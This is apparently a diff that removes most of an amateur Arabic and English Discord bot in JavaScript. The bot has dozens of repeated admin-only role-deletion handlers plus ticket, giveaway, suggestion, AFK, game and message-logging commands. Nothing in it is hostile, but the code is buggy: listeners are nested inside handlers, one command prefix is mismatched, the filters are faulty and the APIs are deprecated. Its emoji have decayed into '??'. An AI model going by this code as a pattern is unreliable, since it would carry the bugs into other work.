- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '90');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '91');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '92');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '93');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '94');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '95');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '96');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith (">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '97');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '98');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '99');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '100');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '101');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '102');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '103');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '104');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '105');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith (">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '106');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '107');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '108');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '109');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '110');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '111');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '112');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '113');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '114');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '115');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '116');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '117');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '118');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '119');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '121');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '122');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith("!deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '123');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '124');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '125');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '126');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '127');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '128');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '129');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '130');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '131');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '132');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '133');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '134');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '135');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '136');
- role.delete()
- }
- });
- client.on('message', async message => {
- let args = message.content.split(' ').slice(1);
- if (message.content.startsWith(">deletecolors")) {
- if(!message.member.hasPermission('ADMINISTRATOR')) return
- let role = message.guild.roles.find('name', '137');
- role.delete()
- }
- });
- })
- client.on('message', message =>{
- if(message.content === '>ping'){
- let start = Date.now(); message.channel.send('pong').then(message => {
- message.edit(`\`\`\`js
- Time taken: ${Date.now() - start} ms
- Discord API: ${client.ping.toFixed(0)} ms\`\`\``);
- });
- }
- });
- client.on("message", (message) => {
- function clean(text) {
- if (typeof(text) === "string")
- return text.replace(/`/g, "`" + String.fromCharCode(8203)).replace(/@/g, "@" + String.fromCharCode(8203));
- else
- return text;
- }
- client.on("ready", () => {
- console.log(`OrochiX | Logged in! Server count: ${client.guilds.size}`);
- });
- if (!message.content.startsWith(prefix) || message.author.bot) return;
- if (message.content.toLowerCase().startsWith(prefix + `new`)) {
- const reason = message.content.split(" ").slice(1).join(" ");
- if (!message.guild.roles.exists("name", "Support Team")) return message.channel.send(`This server doesn't have a \`Support Team\` role made, so the ticket won't be opened.\nIf you are an administrator, make one with that name exactly and give it to users that should be able to see tickets.`);
- if (message.guild.channels.exists("name", "ticket-" + message.author.id)) return message.channel.send(`You already have a ticket open.`);
- message.guild.createChannel(`ticket-${message.author.id}`, "text").then(c => {
- let role = message.guild.roles.find("name", "Support Team");
- let role2 = message.guild.roles.find("name", "@everyone");
- c.overwritePermissions(role, {
- SEND_MESSAGES: true,
- READ_MESSAGES: true
- });
- c.overwritePermissions(role2, {
- SEND_MESSAGES: false,
- READ_MESSAGES: false
- });
- c.overwritePermissions(message.author, {
- SEND_MESSAGES: true,
- READ_MESSAGES: true
- });
- message.channel.send(`:white_check_mark: Your ticket has been created, #${c.name}.`);
- const embed = new Discord.RichEmbed()
- .setColor(0xCF40FA)
- .addField(`Hey ${message.author.username}!`, `Please try explain why you opened this ticket with as much detail as possible. Our **Support Team** will be here soon to help.`)
- .setTimestamp();
- c.send({ embed: embed });
- }).catch(console.error);
- }
- if (message.content.toLowerCase().startsWith(prefix + `close`)) {
- if (!message.channel.name.startsWith(`ticket-`)) return message.channel.send(`You can't use the close command outside of a ticket channel.`);
- message.channel.send(`Are you sure? Once confirmed, you cannot reverse this action!\nTo confirm, type \`>confirm\`. This will time out in 10 seconds and be cancelled.`)
- .then((m) => {
- message.channel.awaitMessages(response => response.content === '>confirm', {
- max: 1,
- time: 10000,
- errors: ['time'],
- })
- .then((collected) => {
- message.channel.delete();
- })
- .catch(() => {
- m.edit('Ticket close timed out, the ticket was not closed.').then(m2 => {
- m2.delete();
- }, 3000);
- });
- });
- }
- });
- const sug = JSON.parse(fs.readFileSync('./sug.json' , 'utf8'));
- client.on('message', message => {
- if (!message.channel.guild) return;
- let room = message.content.split(" ").slice(1);
- let findroom = message.guild.channels.find('name', `${room}`)
- if(message.content.startsWith(prefix + "setSug")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!room) return message.channel.send('Please Type The Channel Name')
- if(!findroom) return message.channel.send('Cant Find This Channel')
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Suggest Code Has Been Setup**')
- .addField('Channel:', `${room}`)
- .addField('Requested By:', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- sug[message.guild.id] = {
- channel: room,
- }
- fs.writeFile("./sug.json", JSON.stringify(sug), (err) => {
- if (err) console.error(err)
- })
- client.on('message', message => {
- if(message.content.startsWith(`${prefix}suggest`)) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- let suggest = message.content.split(" ").slice(1);
- if(!suggest) return message.reply(`**Please Type The Suggest**`)
- let findchannel = (message.guild.channels.find('name', `${sug[message.guild.id].channel}`))
- if(!findchannel) return message.channel.send(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
- message.channel.send(`Done Your Suggest Will Be Seen By The Staffs`)
- let sugembed = new Discord.RichEmbed()
- .setTitle('New Suggest !')
- .addField('Suggest By:', `${message.author}`)
- .addField('Suggest:', `${suggest}`)
- .setFooter('?????????? ??????')
- findchannel.sendEmbed(sugembed)
- .then(function (message) {
- message.react('?')
- message.react('?')
- })
- .catch(err => {
- message.reply(`Error 404: The Suggest Channel Cant Find Or Not Set To Set The Suggest Channel Type: ${prefix}setSug`)
- console.error(err);
- });
- }
- })
- }})
- client.on('message', function(message) {
- if(message.content.startsWith(prefix + 'قرعة')) {
- let args = message.content.split(" ").slice(1);
- if (!args[0]) {
- message.channel.send('**حط رقم معين يتم السحب منه**');
- return;
- }
- message.channel.send(Math.floor(Math.random() * args.join(' ')));
- if (!args[0]) {
- message.edit('1')
- return;
- }
- }
- });
- const afk = require('./afk.json');
- client.on('message',async rebel => {
- if(rebel.author.bot) return;
- if (afk[rebel.author.id]) {
- delete afk[rebel.author.id];
- if (rebel.member.nickname === null) {
- rebel.channel.send(" , <@"+rebel.author.id+"> I Try To Remove Afk Mode For You."); } else {
- rebel.member.setNickname(rebel.member.nickname.replace(/(\[AFK\])/,''));
- rebel.channel.send(" , <@"+rebel.author.id+"> Your Afk Has Been Removed Becouse You Back.");
- }
- fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
- } else {
- if (rebel.content.startsWith(prefix + 'afk ')||rebel.content === prefix + 'afk') {
- rebel.member.setNickname("[AFK] " + rebel.member.displayName);
- let args1 = rebel.content.split(' ').slice(1);
- if (args1.length === 0) {
- afk[rebel.author.id] = {"reason": true};
- rebel.reply("** You Are In Afk Mode **")
- } else {
- afk[rebel.author.id] = {"reason": args1.join(" ")}; // with reason
- rebel.reply("You Are In Afk Mode Becouse "+ args1.join(" ") + ".")
- }
- fs.writeFile("./afk.json", JSON.stringify(afk), (err) => {if (err) console.error(err);});
- }
- }
- var mentionned = rebel.mentions.users.first();
- if(rebel.mentions.users.size > 0) return ;
- if (afk[rebel.mentions.users.first()]) {
- if (afk[rebel.mentions.users.first()].reason === true) {
- rebel.channel.send(`**<@!${mentionned.id}> In Afk Mode** `);
- }else{
- rebel.channel.send(`**<@!${mentionned.username}> In Afk Mode Reason: \n ${afk[rebel.mentions.users.first().id].reason}**`);
- }
- }
- });
- client.on('message',async message => {
- var time = moment().format('Do MMMM YYYY , hh:mm');
- var room;
- var title;
- var duration;
- var gMembers;
- var currentTime = new Date(),
- hours = currentTime.getHours() + 3 ,
- minutes = currentTime.getMinutes(),
- done = currentTime.getMinutes() + duration / 60000 ,
- seconds = currentTime.getSeconds();
- if (minutes < 10) {
- minutes = "0" + minutes;
- }
- var suffix = "AM";
- if (hours >= 12) {
- suffix = "PM";
- hours = hours - 12;
- }
- if (hours == 0) {
- hours = 12;
- }
- var filter = m => m.author.id === message.author.id;
- if(message.content.startsWith(prefix + "giveaway")) {
- if(!message.guild.member(message.author).hasPermission('MANAGE_GUILD')) return message.channel.send(':heavy_multiplication_x:| **يجب أن يكون لديك خاصية التعديل على السيرفر**');
- message.channel.send(`:eight_pointed_black_star:| **Send Name channel For the Giveaway**`).then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 20000,
- errors: ['time']
- }).then(collected => {
- let room = message.guild.channels.find('name' , collected.first().content);
- if(!room) return message.channel.send(':heavy_multiplication_x:| **i Found It :(**');
- room = collected.first().content;
- collected.first().delete();
- msg.edit(':eight_pointed_black_star:| **Time For The Giveaway**').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 20000,
- errors: ['time']
- }).then(collected => {
- if(isNaN(collected.first().content)) return message.channel.send(':heavy_multiplication_x:| **The Time Be Nambers `` Do the Commend Agin``**');
- duration = collected.first().content * 60000;
- collected.first().delete();
- msg.edit(':eight_pointed_black_star:| **Now send The Present **').then(msg => {
- message.channel.awaitMessages(filter, {
- max: 1,
- time: 20000,
- errors: ['time']
- }).then(collected => {
- title = collected.first().content;
- collected.first().delete();
- msg.delete();
- message.delete();
- try {
- let giveEmbed = new Discord.RichEmbed()
- .setDescription(`**${title}** \nReact With ?? To Enter! \nTime remaining : ${duration / 60000} **Minutes**\n **Created at :** ${hours}:${minutes}:${seconds} ${suffix}`)
- .setFooter(message.author.username, message.author.avatarURL);
- message.guild.channels.find("name" , room).send(' :heavy_check_mark: **Giveaway Created** :heavy_check_mark:' , {embed: giveEmbed}).then(m => {
- let re = m.react('??');
- setTimeout(() => {
- let users = m.reactions.get("??").users;
- let list = users.array().filter(u => u.id !== m.author.id !== client.user.id);
- let gFilter = list[Math.floor(Math.random() * list.length) + 0]
- let endEmbed = new Discord.RichEmbed()
- .setAuthor(message.author.username, message.author.avatarURL)
- .setTitle(title)
- .addField('Giveaway Ended !??',`Winners : ${gFilter} \nEnded at :`)
- .setTimestamp()
- m.edit('** ?? GIVEAWAY ENDED ??**' , {embed: endEmbed});
- message.guild.channels.find("name" , room).send(`**Congratulations ${gFilter}! You won The \`${title}\`**` , {embed: {}})
- },duration);
- });
- } catch(e) {
- message.channel.send(`:heavy_multiplication_x:| **i Don't Have Prem**`);
- console.log(e);
- }
- });
- });
- });
- });
- });
- });
- }
- });
- const shorten = require('isgd');
- client.on('message', message => {
- if (message.content.startsWith(prefix + 'short')) {
- let args = message.content.split(" ").slice(1);
- if (!args[0]) return message.channel.send('**Usage**: '+ prefix +'short <رابط>')
- if (!args[1]) {
- shorten.shorten(args[0], function(res) {
- if (res.startsWith('Error:')) return message.channel.send('**Usage**: '+ prefix +'short <link>');
- message.channel.send(`اختصار الرابط:**<${res}>**`);
- })
- } else {
- shorten.custom(args[0], args[1], function(res) {
- if (res.startsWith('Error:')) return message.channel.send(`اختصار الرابط:**${res}**`);
- message.channel.send(`اختصار الرابط:**<${res}>**`);
- })}}});
- client.on("message", async message => {
- if(message.author.bot) return;
- if(message.channel.type === "dm") return;
- let prefix = '>'
- let messageArray = message.content.split (" ");
- let args = messageArray.slice(1);
- if (message.content.startsWith(prefix + "8ball")) {
- if(!args[1]) return message.reply("?");
- let replies = ["يب", "لا.", "ما بعرف.", "اسالني لاحقا لو سمحت"];
- let result = Math.floor((Math.random() * replies.length));
- let question = args.slice(1).join(" ");
- message.channel.sendMessage(`${replies[Math.floor(Math.random() * replies.length)]}`); ///Alpha Codes
- if (!args[0]) {
- message.edit('1')
- return;
- }
- }
- });
- client.on('message', message => {
- if(message.content.startsWith(">slots")) {
- let slot1 = ['??', '??', '??', '??', '??', '??', '??', '??'];
- let slot2 = ['??', '??', '??', '??', '??', '??', '??', '??'];
- let slot3 = ['??', '??', '??', '??', '??', '??', '??', '??'];
- let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let slots2 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let slots3 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let we;
- if(slots1 === slots2 && slots2 === slots3) {
- we = "??لقد ربحت يا بطل??"
- } else {
- we = "??لقد خسرت حظ آوفر??"
- }
- message.channel.send(`${slots1} | ${slots2} | ${slots3} - ${we}`)
- }
- });
- client.on('message', message => {
- if(message.content.startsWith(">حجرة")) {
- let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
- let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let we;
- if(slots1) {
- we = "??ألعب مرة آخرى??"
- } else {
- we = "??لقد خسرت حظ آوفر??"
- }
- message.channel.send(`${slots1} - ${we}`)
- }
- });
- client.on('message', message => {
- if(message.content.startsWith(">ورقة")) {
- let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
- let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let we;
- if(slots1) {
- we = "??ألعب مرة آخرى??"
- } else {
- we = "??لقد خسرت حظ آوفر??"
- }
- message.channel.send(`${slots1} - ${we}`)
- }
- });
- client.on('message', message => {
- if (message.content === ">server") {
- let embed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .setThumbnail(message.guild.iconURL)
- .setTitle(`info about ${message.guild.name}`)
- .addField(' ?? Server ID',`?` + message.guild.id, true)
- .addField(" ?? Owned by",`? ${message.guild.owner.user.username}#${message.guild.owner.user.discriminator}`)
- .addField(" ?? Server Region",`? ` + message.guild.region, true)
- .addField(" ?? Server Member Size",`? ` + message.guild.memberCount, true)
- .addField(' ?? Channels ', `? **${message.guild.channels.filter(m => m.type === 'text').size}** + ' text | Voice '+ **${message.guild.channels.filter(m => m.type === 'voice').size}**`,true)
- .addField(" ?? Roles ", `? ${message.guild.roles.size} Role`,true)
- .addField(" ?? Created On", `? ${message.guild.createdAt.toLocaleString()}`,true)
- .addField(" ?? AFK channel",`? ` + message.guild.afkChannel || 'Null', true)
- .setTimestamp()
- .setFooter(message.author.tag, message.author.avatarURL)
- message.channel.sendEmbed(embed);
- }
- });
- client.on('message', message => {
- if(message.content.startsWith(">مقص")) {
- let slot1 = ['?ورقة??', '??حجرة??', '?مقص??'];
- let slots1 = `${slot1[Math.floor(Math.random() * slot1.length)]}`;
- let we;
- if(slots1) {
- we = "??ألعب مرة آخرى??"
- } else {
- we = "??لقد خسرت حظ آوفر??"
- }
- message.channel.send(`${slots1} - ${we}`)
- }
- });
- client.on('message', message => {
- if (message.content === ">ping") {
- const embed = new Discord.RichEmbed()
- .setColor("#FF0000")
- .addField('``سرعة أتصال الــبوت`` ' , `${Date.now() - message.createdTimestamp}` + ' ms`')
- message.channel.sendEmbed(embed);
- }
- });
- //Perfect log Code
- client.on('message', message => {
- if (!message.channel.guild) return;
- let room = message.content.split(" ").slice(1);
- let findroom = message.guild.channels.find('name', `${room}`)
- if(message.content.startsWith(prefix + "setLog")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!room) return message.channel.send('Please Type The Channel Name')
- if(!findroom) return message.channel.send('Please Type The Log Channel Name')
- let embed = new Discord.RichEmbed()
- .setTitle('**Done The Log Code Has Been Setup**')
- .addField('Channel:', `${room}`)
- .addField('Requested By:', `${message.author}`)
- .setThumbnail(message.author.avatarURL)
- .setFooter(`${client.user.username}`)
- message.channel.sendEmbed(embed)
- log[message.guild.id] = {
- channel: room,
- onoff: 'On'
- }
- fs.writeFile("./log.json", JSON.stringify(log), (err) => {
- if (err) console.error(err)
- })
- }})
- client.on('message', message => {
- if(message.content.startsWith(prefix + "toggleLog")) {
- if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
- if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
- if(!log[message.guild.id]) log[message.guild.id] = {
- onoff: 'Off'
- }
- if(log[message.guild.id].onoff === 'Off') return [message.channel.send(`**The log Is __????__ !**`), log[message.guild.id].onoff = 'On']
- if(log[message.guild.id].onoff === 'On') return [message.channel.send(`**The log Is __??????__ !**`), log[message.guild.id].onoff = 'Off']
- fs.writeFile("./log.json", JSON.stringify(log), (err) => {
- if (err) console.error(err)
- .catch(err => {
- console.error(err);
- });
- });
- }
- })
- client.on('messageDelete', message => {
- if(message.author.bot) return;
- if(message.channel.type === 'dm') return;
- if(!message.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!message.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
- if(!log[message.guild.id]) log[message.guild.id] = {
- onoff: 'Off'
- }
- if(log[message.guild.id].onoff === 'Off') return;
- var logChannel = message.guild.channels.find(c => c.name === `${log[message.guild.id].channel}`);
- if(!logChannel) return;
- let messageDelete = new Discord.RichEmbed()
- .setTitle('**[MESSAGE DELETE]**')
- .setColor('RED')
- .setThumbnail(message.author.avatarURL)
- .setDescription(`**\n**:wastebasket: Successfully \`\`DELETE\`\` **MESSAGE** In ${message.channel}\n\n**Channel:** \`\`${message.channel.name}\`\` (ID: ${message.channel.id})\n**Message ID:** ${message.id}\n**Sent By:** <@${message.author.id}> (ID: ${message.author.id})\n**Message:**\n\`\`\`${message}\`\`\``)
- .setTimestamp()
- .setFooter(message.guild.name, message.guild.iconURL)
- logChannel.send(messageDelete);
- });
- client.on('messageUpdate', (oldMessage, newMessage) => {
- if(oldMessage.author.bot) return;
- if(!oldMessage.channel.type === 'dm') return;
- if(!oldMessage.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!oldMessage.guild.member(client.user).hasPermission('MANAGE_MESSAGES')) return;
- if(!log[oldMessage.guild.id]) log[oldMessage.guild.id] = {
- onoff: 'Off'
- }
- if(log[oldMessage.guild.id].onoff === 'Off') return;
- var logChannel = oldMessage.guild.channels.find(c => c.name === `${log[oldMessage.guild.id].channel}`);
- if(!logChannel) return;
- if(oldMessage.content.startsWith('https://')) return;
- let messageUpdate = new Discord.RichEmbed()
- .setTitle('**[MESSAGE EDIT]**')
- .setThumbnail(oldMessage.author.avatarURL)
- .setColor('BLUE')
- .setDescription(`**\n**:wrench: Successfully \`\`EDIT\`\` **MESSAGE** In ${oldMessage.channel}\n\n**Channel:** \`\`${oldMessage.channel.name}\`\` (ID: ${oldMessage.channel.id})\n**Message ID:** ${oldMessage.id}\n**Sent By:** <@${oldMessage.author.id}> (ID: ${oldMessage.author.id})\n\n**Old Message:**\`\`\`${oldMessage}\`\`\`\n**New Message:**\`\`\`${newMessage}\`\`\``)
- .setTimestamp()
- .setFooter(oldMessage.guild.name, oldMessage.guild.iconURL)
- logChannel.send(messageUpdate);
- });
- client.on('roleCreate', role => {
- if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[role.guild.id]) log[role.guild.id] = {
- onoff: 'Off'
- }
- if(log[role.guild.id].onoff === 'Off') return;
- var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
- if(!logChannel) return;
- role.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- let roleCreate = new Discord.RichEmbed()
- .setTitle('**[ROLE CREATE]**')
- .setThumbnail(userAvatar)
- .setDescription(`**\n**:white_check_mark: Successfully \`\`CREATE\`\` Role.\n\n**Role Name:** \`\`${role.name}\`\` (ID: ${role.id})\n**By:** <@${userID}> (ID: ${userID})`)
- .setColor('GREEN')
- .setTimestamp()
- .setFooter(role.guild.name, role.guild.iconURL)
- logChannel.send(roleCreate);
- })
- });
- client.on('roleDelete', role => {
- if(!role.guild.member(client.user).hasPermission('EMBED_LINKS')) return;
- if(!role.guild.member(client.user).hasPermission('VIEW_AUDIT_LOG')) return;
- if(!log[role.guild.id]) log[role.guild.id] = {
- onoff: 'Off'
- }
- if(log[role.guild.id].onoff === 'Off') return;
- var logChannel = role.guild.channels.find(c => c.name === `${log[role.guild.id].channel}`);
- if(!logChannel) return;
- role.guild.fetchAuditLogs().then(logs => {
- var userID = logs.entries.first().executor.id;
- var userAvatar = logs.entries.first().executor.avatarURL;
- let roleDelete = new Discord.RichEmbed()
- .setTitle('**[ROLE DELETE]**')
- .setThumbnail(userAvatar)
